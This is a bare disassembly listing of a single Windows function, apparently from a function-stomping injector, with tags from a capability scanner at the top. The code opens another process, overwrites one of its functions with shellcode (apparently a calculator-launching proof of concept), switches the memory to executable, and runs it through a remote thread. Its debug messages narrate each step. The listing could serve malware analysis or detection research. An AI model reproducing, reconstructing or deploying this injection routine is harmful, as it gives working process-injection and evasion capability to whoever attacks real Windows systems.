Function at 0x140001fa0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x60
mov rax, qword [0x14003f020]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov r8d, ecx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x1400022a8
lea rdx, str.___Got_process_handle_
mov qword [rsp + 0x78], rsi
lea rcx, [0x1400403d0]
call fcn.140004ea0
mov rcx, rax
call fcn.140005170
mov rcx, rdi
call fcn.1400022e0
mov rsi, rax
test rax, rax
jne 0x140002043
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, [0x140040570]
mov ebx, eax
cmp eax, 0x7e
jne 0x140002037
lea rdx, str.____The_function_name_is_misspelled_or_the_function_is_unstompable.
call fcn.140004ea0
mov rcx, rax
call fcn.140005170
jmp 0x140002130
lea rdx, str.____Could_not_get_function_pointer:
jmp 0x1400021b3
lea rdx, str.___Got_function_base:
lea rcx, [0x1400403d0]
call fcn.140004ea0
mov rcx, rax
mov rdx, rsi
call fcn.140002650
mov rcx, rax
lea rdx, [0x140039780]
call fcn.140004ea0
mov rcx, rax
call fcn.140005170
mov r9d, 0x40
lea rax, [rsp + 0x40]
mov rdx, rsi
mov qword [rsp + 0x20], rax
mov rcx, rdi
lea r8d, [r9 + 0x15]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x14000219d
lea rdx, str.___Changed_protection_to_RW_to_write_the_shellcode.
lea rcx, [0x1400403d0]
call fcn.140004ea0
mov rcx, rax
call fcn.140005170
lea rax, [rsp + 0x48]
mov r9d, 0x55
lea r8, str.j_ZhcalcTYH_
mov qword [rsp + 0x20], rax
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14000215e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.____Failed_to_overwrite_function:
mov ebx, eax
lea rcx, [0x140040570]
call fcn.140004ea0
mov rcx, rax
mov edx, ebx
call fcn.140002850
mov rcx, rax
call fcn.140005170
mov r9d, dword [rsp + 0x40]
lea rax, [rsp + 0x40]
mov r8d, 0x55
mov qword [rsp + 0x20], rax
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xffffffff
mov rsi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140008790
mov rbx, qword [rsp + 0x80]
add rsp, 0x60
pop rdi
ret
lea rdx, str.___Successfuly_stomped_the_function_
lea rcx, [0x1400403d0]
call fcn.140004ea0
mov rcx, rax
call fcn.140005170
mov r9d, 0x80
lea rax, [rsp + 0x40]
mov rdx, rsi
mov qword [rsp + 0x20], rax
mov rcx, rdi
lea r8d, [r9 - 0x2b]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x1400021cf
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, str.____Failed_to_change_protection:
lea rcx, [0x140040570]
call fcn.140004ea0
mov rcx, rax
mov edx, ebx
call fcn.140002850
mov rcx, rax
call fcn.140005170
jmp 0x140002130
lea rdx, str.___Changed_protection_to_WCX_to_run_the_shellcode_
lea rcx, [0x1400403d0]
call fcn.140004ea0
mov rcx, rax
call fcn.140005170
lea rdx, str.___Shellcode_successfuly_injected_
lea rcx, [0x1400403d0]
call fcn.140004ea0
mov rcx, rax
call fcn.140005170
lea rdx, str.___Executing_the_shellcode...
lea rcx, [0x1400403d0]
call fcn.140004ea0
mov rcx, rax
call fcn.140005170
xor eax, eax
mov r9, rsi
mov qword [rsp + 0x38], rax
xor r8d, r8d
mov qword [rsp + 0x30], rax
xor edx, edx
mov dword [rsp + 0x28], eax
mov rcx, rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_CreateRemoteThreadEx]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140002281
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.____Failed_to_create_remote_thread:
mov ebx, eax
lea rcx, [0x140040570]
call fcn.140004ea0
mov rcx, rax
mov edx, ebx
call fcn.140002850
mov rcx, rax
call fcn.140005170
jmp 0x140002139
mov edx, 0x7d0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x14000213e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.____Could_not_get_process_handle:
mov ebx, eax
lea rcx, [0x140040570]
call fcn.140004ea0
mov rcx, rax
mov edx, ebx
call fcn.140002850
mov rcx, rax
call fcn.140005170
mov eax, 0xffffffff
jmp 0x140002143